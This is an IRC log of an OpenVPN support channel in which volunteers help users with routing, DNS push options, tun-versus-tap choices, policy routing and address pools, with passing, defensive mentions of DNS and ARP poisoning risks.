00:29 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
00:29 < altker128> Ghormoon: I think you're trying to do something at the bottom
00:29 < altker128> "Using routing and OpenVPN not running on the default gateway ¶"
00:32 < Ghormoon> altker128: in "final form" I'll have a VPN server (on a VPS) with few "home" networks connected together to one "lan" + few roaming clients (notebook, phone, ...) which will also use it from time to time as gateway on "dangerous" networks (on "safe" ones just to access the home networks)
00:32 < altker128> Ghormoon: Yeah...I basically have that going right now
00:33 < Ghormoon> so on the networks, the router will be the openvpn client most propably (except that raspi until I get better router)
00:34 < pekster> Be aware that clever attackers on "hostile" networks can probably trick some of your packets into going over the local (insecure) setup unless you have the local firewall prevent it when you connect to the VPN
00:34 < Ghormoon> actually I don't expect any "clever" attack, just kiddos with packet sniffer in KFC
00:34 < pekster> eg: abusing DNS posioning with MITM responses (since Windows adds DNS stuff to the other interface, so the originals are still there and can be used) or simply interrupt the VPN so your gateway changes
00:35 < pekster> There are all kinds of clever things cafe black-hats can do
00:35 < pekster> (or the hotspot owner, etc)
00:36 < pekster> Personally, I just run tinyproxy on my VPN server and connect to it from my client in a proxy profile to the VPN IP, and my local firewall on clients rejects the VPN network unless it's going over my tun device
00:36 < Ghormoon> I don't have any data worth the hassle, connection to ebanking is https anyway, this will be good enough to keep http forum passwords and such safe when there may be kiddos around
00:36 < pekster> Pick up EFF's "http anywhere" plugin too, since that has nice defaults
00:36 < Ghormoon> I'm not sure how I'd do that on windows laptop :)
00:37 < pekster> Windows has a firewall too (it's just far less sane than the Unix or Linux alternatives)
00:37 < Ghormoon> I'm not sure it's worth the hassle :) but yeap, it has
00:38 < pekster> I solve that by not running Windows when I'm on the go
00:38  * pekster prefers OSes that are usable
00:39 < Ghormoon> well, stere's still no Trillian on linux :D (stupid reason, ikr ^^)
00:39 < pekster> I also try to use non-closed software unless there's a very good reason
00:39 < pekster> Many years ago I was a trillian user, but that was before I saw the light for desktop computing
00:40 < pekster> I just don't like paying money for software that locks you into their model and won't let you see sources
00:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:40 < Ghormoon> I use some closed source things as long I trust them and like them more than opensource anternatives ... I didn't really like the opensource clients back then when I was choosing :)
00:42 < Ghormoon> but for real, except Trillian and games, I'd be ok with linux (actually, I do more and more work in it, I have virtual debian running all the time in background)
00:55 < Ghormoon> anyway, gotta go, leaving in 5 minutes, see ya :)
00:55 -!- Ghormoon [~Ghormoon@ip-37-188-233-77.eurotel.cz] has quit [Quit: Kicked out my uplink cable ... again ...]
00:58 -!- aknm [~aknm@196.14.139.96] has joined #openvpn
00:58 -!- aknm [~aknm@196.14.139.96] has quit [Changing host]
00:58 -!- aknm [~aknm@unaffiliated/aknm] has joined #openvpn
01:15 -!- mattock_afk is now known as mattock
01:19 -!- aknm is now known as monk
01:29 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
01:30 -!- mattock is now known as mattock_afk
01:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
01:49 -!- mattock_afk is now known as mattock
01:52 -!- Guest85143 [~jmartinez@46.234.149.43] has quit [Read error: Connection reset by peer]
01:57 -!- jmartinez [~jmartinez@46.234.149.43] has joined #openvpn
01:57 -!- jmartinez is now known as Guest49222
02:02 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
02:19 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
02:25 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:27 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
02:33 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
02:36 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
02:45 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:47 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
02:47 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
02:47 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:54 -!- Poster|w [poster@shell.bshellz.net] has quit [K-Lined]
03:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:34 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
03:39 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
04:11 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
04:25 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
04:29 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
04:48 -!- dballester [~dballeste@139.49.17.109.rev.sfr.net] has joined #openvpn
04:51 < dballester> Hi, I've added "push dhcp-option DNS 1.2.3.4" in the ccd file of a client ( ubuntu 120.04 Desktop ). The client connects OK to the VPN but the dns 1.2.3.4 is not informed. It's a normal behaviour?
04:51 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
04:51 -!- mode/#openvpn [+o krzee] by ChanServ
04:52 -!- Guest49222 [~jmartinez@46.234.149.43] has quit [Read error: Connection reset by peer]
04:52 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
04:55 < dballester> mmhh... of course it's ubuntu 12.04 and not 120.04 :P
04:57 -!- jmartinez [~jmartinez@46.234.149.43] has joined #openvpn
04:57 -!- jmartinez [~jmartinez@46.234.149.43] has quit [Changing host]
04:57 -!- jmartinez [~jmartinez@unaffiliated/jmartinez] has joined #openvpn
05:07 < dballester> Hi, I've added "push dhcp-option DNS 1.2.3.4" in the ccd file of a client ( ubuntu 120.04 Desktop ). The client connects OK to the VPN but the dns 1.2.3.4 is not informed. It's a normal behaviour? <-- SOLVED
05:07 < dballester> I installed the resolvconf package
05:08 < dballester> added the push "dhcp-option DNS 1.2.3.4" in the ccd client's file
05:09 < dballester> and in the config client i added the lines script-security 2 & up /etc/openvpn/update-resolv-conf & down /etc/openvpn/update-resolv-conf
05:09 < dballester> now when connnecting to the vpn I've the dns 1.2.3.4 in the first place inside the /etc/resolv.conf
05:45 -!- dazo_afk is now known as dazo
06:00 -!- jmartinez [~jmartinez@unaffiliated/jmartinez] has left #openvpn []
06:04 < kisom> Does anyone here have experience with the chinese firewall?
06:08 -!- Denial [Denial@90.205.133.229] has joined #openvpn
06:19 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-ymxekqikhxycaojv] has quit [Excess Flood]
06:21 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-kdsnjtmsuwhqnfgd] has joined #openvpn
06:33 < kisom> More specifically, does the chinese firewall operate on traffic within the country itself, or just traffic leaving china?
07:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:23 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 276 seconds]
07:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
07:35 < nohitall> kisom: both
07:36 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 256 seconds]
07:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:40 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
07:41 -!- deever [~deever@78.46.68.172] has left #openvpn []
07:42 -!- gardar [~gardar@gardar.net] has joined #openvpn
07:43 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:44 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The professional IRC Client :D]
07:56 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
08:04 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 248 seconds]
08:07 -!- _val__ [unix@dhcp-077-251-072-184.chello.nl] has joined #openvpn
08:18 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
08:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
08:28 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:42 < dballester> one little question, if I wanna execute several scripts in the up/down client config, i can inform several up /path/script or only the first one is executed?
08:43 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["When I leave, come together like butt cheeks."]
08:43 < Aketzu_> you can always make yet another script that calls all those separate scripts
08:44 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:48 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
08:52 < dballester> Thanks, Aketzu_  and yes, it's the idea. I only tried to know if we could define several up and down options
08:52 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:53 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 268 seconds]
08:54 < _val__> Hi. I've configured openvpn using certificates. I've established a connection but I somehow seem not to be able to ping anything. I've done the FORWARDING but still no success. Anyone any idea? Thanks in advance.
08:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:54 < pekster> _val__: You need to be specific about your goal and what you're trying to ping. Not pinging *anything* would be a concern, since you sould usually be able to ping localhost, for instance
08:55 < _val__> pekster: I mean the outside world. Google, yahoo, 8.8.8.8 8.8.4.4  ryv..
08:56 < pekster> So, I assume your *goal* then (which you still haven't described) is to redirect all outbound traffic across the VPN link? Don't assume everyone is doing the same thing you are (I don't)
08:57 < pekster> !redirect
08:57 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
08:57 <@vpnHelper> http://ircpimps.org/redirect.png
08:57 < pekster> !learn redirect as flowchart mirror at http://pekster.sdf.org/misc/redirect.png
08:57 <@vpnHelper> Joo got it.
08:58  * pekster pokes krzee re: flowcharts and/or duplicate copies of the {server,client}lan images for mirroring
08:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:00 < _val__> pekster: the first step is already failing. I'm connected but cannot ping the 10.10.10.1(server). Client has got 10.10.10.2
09:01 < pekster> Either the VPN isn't connected, or your firewall prevents the ping (which you should fix, since that's a useful test)
09:02 < _val__> I am connected. I should be able to ping the local address shouldn't I?
09:03 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
09:03 < pekster> The address you're assigned? Yes, again, unless you've misconfigured your firewall to prevent that
09:04 < _val__> current config is:  router(192.168.1.1) -> Linux box(192.168.1.30,  VPN 10.10.10.1)
09:05 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Read error: Connection reset by peer]
09:07 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:08 < fischli> _val__: you are able to use tcpdump? look out for icmp on your tap/tun (and eth in the case of forwarding) and openvpn traffic through the phys. interface
09:12 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:14 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Ping timeout: 276 seconds]
09:15 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
09:23 < _val__> fischli: nothing is happening. tcpdump -vvvi tap0  on the server... then pinging from the client to the server  shows nothing
09:24 < fischli> _val__: and tcpdump on the client side? does your ping hit the right interface and does it leave through the tunnel?
09:27 < _val__> fischli: https://dpaste.de/BenH2/
09:28 < _val__> while pinging 10.10.10.1  on the client I did a tcpdump -vvvi tun0  on the client as well.
09:29 < pekster> Why are you mixing and matching tap vs tun?
09:29 < pekster> You need them to be the *same* across your infrastructure. Either you're transporting L2 or L3
09:31 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 240 seconds]
09:32 < _val__> pekster: the clients get the interface assigned as tun0. The servers' interface is tap0  why would it matteR? It's just a naming convension right?
09:36 < fischli> _val__: isn't only naming, they are different device types. I would say, if you are using a tap device you also need a bridge.
09:37 < _val__> server config https://dpaste.de/NsjEH/
09:39 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
09:39 < _val__> fischli: catch up later. Got to leave
09:39 < fischli> _val__: tap0 has to be added to a bridge
09:42 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
09:43 < pekster> Not if the IP ranges are different
09:43 < pekster> Don't bridge unless you both 1) need it and 2) know why you need it
09:43 < pekster> !tunortap
09:43 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
09:43 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
09:43 < pekster> So, unless you have a valid usecase, switch to tun
09:44 < pekster> And no, tun vs tap is not just "naming convention" (technically you can call your VPN interface whatever you want, such as `myInterface`)
09:44 < pekster> tun = OSI Layer 3 = IP. tap = OS Layer 2 = Ethernet
09:53 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
09:56 -!- JAVACODER [~JAVACODER@2.190.40.62] has joined #openvpn
09:58 -!- monk [~aknm@unaffiliated/aknm] has quit [Quit: Leaving]
10:01 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:02 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
10:07 -!- Breetai [~Breetai@mail.northriverboats.com] has joined #openvpn
10:08 < Breetai> I need to move my address pool from 10.10.200.110-130 to 10.10.200.64-95. Can I make the change and the clients will automatically adjust, or do I need to do sometghing special?
10:10 < pekster> Provided you're pushing the address to clients and not hard-coding them on the client side, sure. That will require bouncing the server instance (disconnecting clients) unless you're handling the IP assingment dynamically via ccd files or --client-connect scripts
10:14 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:15 < Breetai> The clients will not be connected. I don't have the clients hard coded, but what I have noticed is once a client connects, they get the same IP address every time. Is that a function of OpenBox or my DHCP server on the host network?
10:16 < Breetai> sorry not openbox, OpenVPN.
10:17 -!- raidz_away is now known as raidz
10:17 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:18 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:18 < pekster> Breetai: openvpn will pass out the "first free" address, unless you're using ifconfig-push or using an ipp file (and that's only a suggestion, not a guarentee of static IPs. See !static for more info)
10:18 < pekster> So, if you have a pool of $prefix.2 - $prefix.100, and only ever connect 1 client, that client will always get .2
10:20 < Breetai> Yeah my pool is larger than the number of clients. But I am getting more workstations, so I need to increase the size of my DHCP pool on my host network, which means moving the Openvpn pool as well. Thanks for the help pekster
10:21 < pekster> I'd suggest you consider if bridging is your best option
10:21 < pekster> Maybe you have a reason for it, but:
10:21 < pekster> !tunortap
10:21 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
10:21 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
10:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:29 -!- Alina-malina [Alina-mali@37.252.64.138] has quit [Ping timeout: 252 seconds]
10:31 -!- Alina-malina [~Alina-mal@37.252.64.138] has joined #openvpn
10:38 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:51 -!- HaxCore [~p3rror@41.249.253.52] has joined #openvpn
10:51 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
10:52 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
11:04 -!- lmm_ is now known as lmm
11:14 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
11:29 -!- HaxCore [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:49 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 246 seconds]
11:56 -!- kubbing_ [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has joined #openvpn
11:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
12:06 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:12 < dballester> _val__,  can you ping your vpn-address? and the server's vpn-address?
12:13 < dballester> _val__,  can you ping your vpn-address? and the server's vpn-address? <- forget about it, I didn't updated my irc client window :P
12:13 < dballester> update
12:16 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:21 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has quit [Ping timeout: 256 seconds]
12:23 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Quit: emmanuelux]
12:25 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:28 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Read error: Connection reset by peer]
12:28 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
12:29 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has quit [Read error: Connection reset by peer]
12:30 -!- xBytez [~xbytez@2a00:f48:1025:feed:b00b:feed:7ae9:4cde] has joined #openvpn
12:41 -!- jason_rad [~jason_rad@66.60.164.164] has joined #openvpn
12:43 < jason_rad> After I vpn to a server ( client is linux, server is linux ), I can no longer ping the client from an outside connection.  It's as if eth0 drops off.  on vpn server I'm pushing redirect gateway.
12:43 < jason_rad> is this normal?
12:43 < jason_rad> is there a way I can still have public services running on the client as well as VPNd into the server?
12:44 < pekster> policy routing
12:44 < jason_rad> googling
12:44 < pekster> Optionally add a host-route to the original sender that uses your pre-existing physical gateway, but that requires knowing the source of the connection in advance (not common when you're accepting arbitrary connections on your service)
12:45 < jason_rad> pekster: correct.. I won't know that
12:45 < pekster> Since your client is Linux, the `ip route` and `ip rule` commands provided with iproute2 can define rules that send packets to a secondary routing table. You can, f.ex, apply connection marks to traffic that arrives via your physical interface and route the rest of the session via the physical gateway
12:45 < pekster> See the LARTC Howto for the de-facto reference to policy routing
12:46  * pekster needs to add a bot factoid for this as it comes up a lot
12:51 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Quit: Meet your opposition - Profane and disciplined - Take back your pride - With a pounding hammer]
12:53 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
12:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:56 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
12:56 <@krzee> pekster, poking wont help
12:56 <@krzee> the site is down
12:57 <@krzee> theres redirect at ftp://xxx.ircpimps.org/pub/redirect.png
12:57 -!- kubbing_ [~kubbing@ip-78-102-124-253.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
12:57 < pekster> I have that one; it's the other 2 I don't have
12:57 <@krzee> i have to get my guy who is local to physically go deal with the server
12:57 < pekster> I'm happy to mirror them if you send me originals
12:58 <@krzee> ya when i get them we can both mirror them
12:58 < pekster> (well, "copies" as the case is with digital media)
13:03 < cornfeedhobo> are you guys familiar with the error "TLS Error: cannot locate HMAC in incoming packet" google is just a mess of bad results
13:04 < cornfeedhobo> oohhh hmm nvm i think i see what went wrong. brb
13:04 -!- WormFood [~wormfood@58.253.216.128] has quit [Ping timeout: 240 seconds]
13:06 < jason_rad> pekster: I'm a little lost with policy routing.  Mind helping me with an example?
13:07 < pekster> It's not that simple as it depends greatly on your setup, and uses both the iproute2 and netfilter suite of tools to set up
13:07 < jason_rad> hmm
13:08 < pekster> Did you see the LARTC resource I referenced? If you're new to policy routing, don't skip the secitons that teach you how to use iproute2 since they're critical to understanding how to use them
13:08 < jason_rad> I'm reading that and some other sources on "policy routing"
13:08 < jason_rad> but the examples that I'm reading refer to a "from address"
13:08 < jason_rad> in which case I won't know
13:09 < pekster> Right, in your case you can use netfilter's knowledge of where connections arrived as the key
13:09 < pekster> LARTC in a later section talks about using netfilter's per-packet fwmark as the decision key in the `ip rule` process
13:09 < jason_rad> hmm.. so basicaly use the from as a dummy key for me with using iptables
13:09 < cornfeedhobo> sorry. i had tls-auth still enabled. thought i was getting somewhere =P.   now that I have removed the tls-auth directive I am back where i started. here is my config and log
13:10 < cornfeedhobo> https://ezcrypt.it/o66n#CHQxDgAeKOAU8A3ayF7qcSU3
13:10 < pekster> The general idea is you connmark sessions that come in via your physical link, then in mangle/OUTPUT copy the ctmark to fwmark, then key on that fwmark with `ip rule` to send it to a secondary routing table
13:10 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
13:10 < dballester> info about up and down scripts in vpn client ( linux ). I've the client configured to run the openvpn process as nobody/nogroup. When I startup the openvpn, the up script is executed correctly as root ( iiuc, the up script is executed before the change to nobody id ). But when executing the down, seems that openvpn executes it as nobody. It's expected or I must configure something to execute the down script as root ?
13:10 < jason_rad> pekster: okay thank you for clarifying
13:11 -!- averagecase [~anon@dslb-088-078-157-065.pools.arcor-ip.net] has joined #openvpn
13:11 < pekster> There are other ways to do it based on the reply source address (which would be your own system's IP) but that breaks for things like UDP that are stateless
13:12 < pekster> Using netfilter's connmark and mark support is more universal
13:12 < pekster> (and avoids most of the really obscure iproute2 rule filter syntax)
13:13 < pekster> You need to read enough LARTC stuff to understand how routing rules and tables work, then read the netfilter docs (iptables-extensions(8) and iptables(8) are good places to start) to learn how the CONNMARK and MARK targets work
13:17 < pekster> #netfilter might be a more on-topic channel for technical questions about those too
13:18 -!- WormFood [~wormfood@210.21.240.227] has joined #openvpn
13:20 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:20 -!- jason_rad [~jason_rad@66.60.164.164] has quit [Quit: leaving]
13:32 -!- skered- [~dereks@71.206.246.125] has joined #openvpn
13:34 < skered-> Does Windows OpenVPN often not properly reset networking if you timeout, suspend the machine, or lose network connection?
13:35 < skered-> Someone is making a claim that ~90% of the time if any of the above cases occur they need reset to get networking back
13:35 < pekster> Define "reset", and no, it's worked fine for me on anything from XP through Windows 7
13:36 < skered-> I guess I mean reset by you have your old networking set if the VPN dies
13:36 < cornfeedhobo> !goal
13:36 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:36 < pekster> If you're altering DNS servers to ones that are only available across the VPN and the VPN dies, then yes, you can't re-connect as you can't resolve the DNS name due to inaccessible DNS servers
13:37 < pekster> Solution: don't do that
13:37 < skered-> Yes in this case I am chaning DNS servers
13:37 < pekster> Either replace the DNS servers on detection of a timeout condition, and/or have a fallback profile that uses an IP rather than expected the (broken) DNS to work
13:37 < skered-> Why shouldn't you do that?
13:38 < pekster> Let's think what happens if my DNS is accessed over a VPN link that goes down, and then I need to use that (inaccessible) server to resolve the VPN server to reconnect to
13:38 < pekster> Can you see why this is a problem?
13:39 < skered-> I understand that I lose DNS however I thought openvpn will reinstate the old DNS settings if the VPN connection dies
13:39 < pekster> IIRC Windows will do that unless you're using some of the --persist options
13:39 < pekster> But I spend less and less time in Windows theesedays; I'd verify DNS is working in that condition
13:40 < pekster> It's easy enough to reproduce; set a low-ish value for --keepalive, connect, then use a firewall rule to time out the connection (ideally using --nobind on the client so you can block that port but allow the next ephemeral source port to connect)
13:40 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has left #openvpn ["Konversation terminated!"]
13:40 < skered-> I think on non-Windows or unix-like OS there's shell scripts that reset everything.. I never looked that deep in to OpenVPN for Windows and if there was something like the unix reset scripts
13:40 < skered-> Yeah, I'm planing on testing it tonight in a Windows VM
13:40 < pekster> Nope, the DNS stuff is passed to the OS since Windows is goofy and keeps DNS settings *per* interface, not a /etc/resolv.conf file like Unix-alikes
13:41 < skered-> But like you said I access it via Mac OS X does I don't have these issues
13:41 < pekster> That's also the primary cause of DNS issues (read: windows weirdness)
13:48 < cornfeedhobo> tls-auth is not required, correct?
13:49 < pekster> No, but it must match between peers
13:49 < cornfeedhobo> okay. thanks
13:56 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 260 seconds]
14:00 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
14:11 -!- vaq [~lars@vaq/unaffiliated] has joined #openvpn
14:11 < vaq> Hello, I have two centos machines who form a private net through OpenVPN on tun1. Is it possible to enable routing between interfaces, so that a virtual machine who resides on xenbr0  interface can reach the local network formed on tun1 ?
14:12 < cornfeedhobo> vaq: if they both know about the proper routes, yes. check your routing tables first
14:12 < cornfeedhobo> okay i really need some help and am very lost. Goal: bridged vpn using ssl without tls (this is step 1 in a series of goals) Configs & logs: https://ezcrypt.it/q66n#P8DHOtZ4fTlQQ0ERxwsmXQ6S    First speedbump, when starting Openvpn, it assigns an ip to eth1, but br0 should be the one with the ip
14:12 <@vpnHelper> Title: EZCrypt - Paste (at ezcrypt.it)
14:12 < vaq> cornfeedhobo: I just have, Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
14:12 < vaq> 172.16.1.2      0.0.0.0         255.255.255.255 UH    0      0        0 tun1
14:12 < cornfeedhobo> vaq: please use a pastebin
14:13 < cornfeedhobo> vaq: post up you openvpn config and routing table
14:13 < vaq> cornfeedhobo: do I need to add a route for 172.16.1.0/24 on xenbr0 ?
14:13 < cornfeedhobo> vaq: generally speaking yes
14:13 < vaq> cornfeedhobo: I connect the two servers with, /usr/sbin/openvpn --remote xxxxxxxx --dev tun1 --ifconfig 172.16.1.2 172.16.1.1
14:14 < cornfeedhobo> okay so they each have their own ip on a subnet that no one else knows about
14:14 < cornfeedhobo> either tell the desired client how to reach it, or do nat
14:14 < vaq> so: route add 172.16.1.0/24 via 172.16.1.1 dev xenbr0
14:14 < cornfeedhobo> bingo
14:16 < vaq> [root@xapi1 ~]# route add -net 172.16.1.0 netmask 255.255.255.0 gw 172.16.1.1 dev xenbr0
14:16 < vaq> SIOCADDRT: No such process
14:17 < cornfeedhobo> hmm
14:17 < vaq> if I exclude dev xenbr0 it iadds the route to tun1
14:17 < vaq> but virtual machines cannot reach it
14:18 < cornfeedhobo> ohh yeah because xen doesnt need the route, the vm needs it
14:18 < cornfeedhobo> xen passes the interface
14:18 < vaq> but I created a virtual machine and set it up with ifconfig 172.16.1.3 netmask 255.255.255.0, route add default gw 172.16.1.1
14:18 < vaq> no reach
14:18 < cornfeedhobo> assuming the vm is assigned to a nic that is on the same switch
14:19 < vaq> cornfeedhobo: but xen passes the interface xenbr0
14:19 < vaq> not tun1
14:19 < pekster> vaq: You don't need a /24 route if you're using PtP
14:19 < cornfeedhobo> the tun is on the xen host?
14:19 < vaq> yes
14:19 < pekster> There in fact exists no /24, only the PtP setup if you started openvpn pas you pasted
14:19 < cornfeedhobo> also a good point
14:19 < vaq> pekster: ah, how to assign the /24 ?
14:19 < cornfeedhobo> listen to pekster, he knows his stuff
14:20 < pekster> You don't *have* a /24, so why are you attempting to route to something that doesn't exist?
14:20 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
14:20 < pekster> 172.16.1.1 and 172.16.1.2 are contained in 172.16.1.0/30, altough in theory you could route a /24 as a supernet of that
14:20 < Moonlightning> > ATTENTION
14:20 < Moonlightning> > OpenVPN Connect attempts to create a VPN connection. By proceeding, you are giving the application permission to intercept all network traffic.
14:20 < pekster> It's cleaner to use PtP addresses that fit into a /31, but it doesn't really make a difference in this case so long as unused IPs in the supernet aren't defined elsewhere
14:21 < vaq> pekster: I have two xenservers that I am connecting together through OpenVPN. I would like for that local private network to be available for vm hosts.
14:21 < Moonlightning> This is from the Android app. Excuse me, but WTF?
14:21 < pekster> vaq: So add a route to the VM hosts, or their defeault gateway
14:21 < pekster> vaq: Or do you mean you have two entire subnets behind each VPN server you want to route between?
14:21 < pekster> Moonlightning: That's not an OpenVPN message. Where did you "get" that piece of software you're using?
14:21 < vaq> pekster: 172.16.1.0/24 should be available at each xen node within a virtual machine.
14:22 < vaq> pekster: I tried to ifconfig eth0 up 172.16.1.3 netmask 255.255.255.0 but I cannot reach anything from within the vm
14:22 <@plaisthos> pekster, Moonlightning: Android warns you about that the software can do that
14:22 <@plaisthos> Moonlightning: feel free to try antother VPN client and get the same message :D
14:22 < pekster> Oh, "OpenVPN Connect", I missed that :P
14:22 < pekster> Good catch
14:23 < Moonlightning> Off the Play Store. Hang on, doublechecking the URI
14:23 < vaq> pekster: I made the connection between the two xen nodes using /usr/sbin/openvpn --remote xxxxxxxx --dev tun1 --ifconfig 172.16.1.2 172.16.1.1
